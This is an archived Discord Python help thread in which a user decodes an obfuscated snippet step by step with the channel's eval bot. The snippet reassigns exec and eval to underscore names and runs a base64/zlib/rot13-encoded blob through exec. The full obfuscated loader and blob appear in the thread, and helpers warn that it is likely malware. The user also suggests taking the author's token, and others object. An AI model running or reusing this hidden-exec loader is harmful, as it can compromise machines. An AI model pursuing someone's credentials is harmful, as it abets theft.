🔒 yo anyone knows what this code do | Python | Page 1

modern bayBOT Apr 13, 2024, 1:59 PM

#

@rapid drift

Python help channel opened

Remember to:

Ask your Python question, not if you can ask or if there's an expert who can help.
Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

sly mauve Apr 13, 2024, 2:00 PM

#

@rapid drift share the message via pastebin

rapid drift Apr 13, 2024, 2:00 PM

#

https://paste.pythondiscord.com/QKRA

#

yo whats the code executor command again

#

!e help

modern bayBOT Apr 13, 2024, 2:01 PM

#

@rapid drift :warning: Your 3.12 eval job has completed with return code 0.

[No output]

rapid drift Apr 13, 2024, 2:01 PM

#

!e

print("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29")

modern bayBOT Apr 13, 2024, 2:01 PM

#

@rapid drift :white_check_mark: Your 3.12 eval job has completed with return code 0.

setattr(__builtins__,"______",print);setattr(__builtins__,"_____",exec);setattr(__builtins__,"____",eval)

rapid drift Apr 13, 2024, 2:03 PM

#

!e

print(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kMtugzAURH8pOKCGpSPiBoOjIFxj2AFteIRXWhtsf33dtOruzGikmXuzYSlZmcnZnLoZeSPBoeKp/xU5hyo26Uhe411uGID0pGPgK4LkNgPL+6IlNHwyf6tvE2Z/2ukXE47LINc4ghpuQRtv8e4/S1nNkacIhh2h54qje/+JvPcZ6JZTWC2rrOcyqCZ0cDlSghh/YFSJCbsCj+perL04JsLNrxev2MSNJYX348Hk4kZI1bkJ29+dwvao+ghCl+CiegDp8b3uHqiRizl/2I2SUN2SodlNVI8cSGe6Ptl66mUxqb3Hb/ISaoKDqkBqzeyvvgEFpGq5")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')

modern bayBOT Apr 13, 2024, 2:03 PM

#

@rapid drift :x: Your 3.12 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 1, in <module>
003 |     print(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kMtugzAURH8pOKCGpSPiBoOjIFxj2AFteIRXWhtsf33dtOruzGikmXuzYSlZmcnZnLoZeSPBoeKp/xU5hyo26Uhe411uGID0pGPgK4LkNgPL+6IlNHwyf6tvE2Z/2ukXE47LINc4ghpuQRtv8e4/S1nNkacIhh2h54qje/+JvPcZ6JZTWC2rrOcyqCZ0cDlSghh/YFSJCbsCj+perL04JsLNrxev2MSNJYX348Hk4kZI1bkJ29+dwvao+ghCl+CiegDp8b3uHqiRizl/2I2SUN2SodlNVI8cSGe6Ptl66mUxqb3Hb/ISaoKDqkBqzeyvvgEFpGq5")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')
004 |                                                                                                                                                                                                           ^^^
... (truncated - too long)

Full output: https://paste.pythondiscord.com/KFRHYQEKY4RVUKL4ORC3HO3DUI

sly mauve Apr 13, 2024, 2:03 PM

#

Very sus

rapid drift Apr 13, 2024, 2:03 PM

#

!e

print('\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29')

modern bayBOT Apr 13, 2024, 2:03 PM

#

@rapid drift :white_check_mark: Your 3.12 eval job has completed with return code 0.

____("".join(chr(i) for i in [101,120,101,99]))

rapid drift Apr 13, 2024, 2:04 PM

#

!e

print("".join(chr(i) for i in [101,120,101,99]))

modern bayBOT Apr 13, 2024, 2:04 PM

#

@rapid drift :white_check_mark: Your 3.12 eval job has completed with return code 0.

exec

covert river Apr 13, 2024, 2:05 PM

#

This is almost certainly malware.

rapid drift Apr 13, 2024, 2:05 PM

#

!e

modern bayBOT Apr 13, 2024, 2:05 PM

#

Missing required argument

code

sly mauve Apr 13, 2024, 2:05 PM

#

💯

rapid drift Apr 13, 2024, 2:05 PM

#

!e

print("".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])))

modern bayBOT Apr 13, 2024, 2:05 PM

#

@rapid drift :x: Your 3.12 eval job has completed with return code 1.

001 |   File "/home/main.py", line 1
002 |     print("".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])))
003 |                                                                     ^
004 | SyntaxError: unmatched ')'

rapid drift Apr 13, 2024, 2:05 PM

#

!e

print("".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408]))

modern bayBOT Apr 13, 2024, 2:05 PM

#

@rapid drift :white_check_mark: Your 3.12 eval job has completed with return code 0.

rot13

covert river Apr 13, 2024, 2:06 PM

#

rapid drift !e ```py print("".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])) ```

Most of that doesn't matter. Encryption/obsfuscation + eval/exec means someone wrote code that has a hidden purpose.

rapid drift Apr 13, 2024, 2:06 PM

#

yo what if

covert river Apr 13, 2024, 2:06 PM

#

It's possible to figure out what exactly it's doing, but that can potentially take a lot of time and effort if there's multiple layers of obsfucation.

rapid drift Apr 13, 2024, 2:06 PM

#

they put their token in there

#

????

#

we can get em

#

get em rn

sly mauve Apr 13, 2024, 2:07 PM

#

rapid drift they put their token in there

doubt

rapid drift Apr 13, 2024, 2:07 PM

#

wdym

#

this looks like a token
base64.b64decode(b"eJw9kMtugzAURH8pOKCGpSPiBoOjIFxj2AFteIRXWhtsf33dtOruzGikmXuzYSlZmcnZnLoZeSPBoeKp/xU5hyo26Uhe411uGID0pGPgK4LkNgPL+6IlNHwyf6tvE2Z/2ukXE47LINc4ghpuQRtv8e4/S1nNkacIhh2h54qje/+JvPcZ6JZTWC2rrOcyqCZ0cDlSghh/YFSJCbsCj+perL04JsLNrxev2MSNJYX348Hk4kZI1bkJ29+dwvao+ghCl+CiegDp8b3uHqiRizl/2I2SUN2SodlNVI8cSGe6Ptl66mUxqb3Hb/ISaoKDqkBqzeyvvgEFpGq5")).

covert river Apr 13, 2024, 2:07 PM

#

Why do you think there would even be a token?

sly mauve Apr 13, 2024, 2:07 PM

#

Its trying to exec something on your system. That usually leads to backdoor access or just download a malware to your machine without you knowing it

covert river Apr 13, 2024, 2:08 PM

#

rapid drift this looks like a token base64.b64decode(b"eJw9kMtugzAURH8pOKCGpSPiBoOjIFxj2AFte...

That's base 64, which is commonly used for a ton of different things, including tokens. It's also used to hide text.

sly mauve Apr 13, 2024, 2:08 PM

#

And even if its a token, why would you want it?

#

Its not even yours

modern bayBOT Apr 13, 2024, 3:09 PM

#

Python help channel closed

This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.

#🔒 yo anyone knows what this code do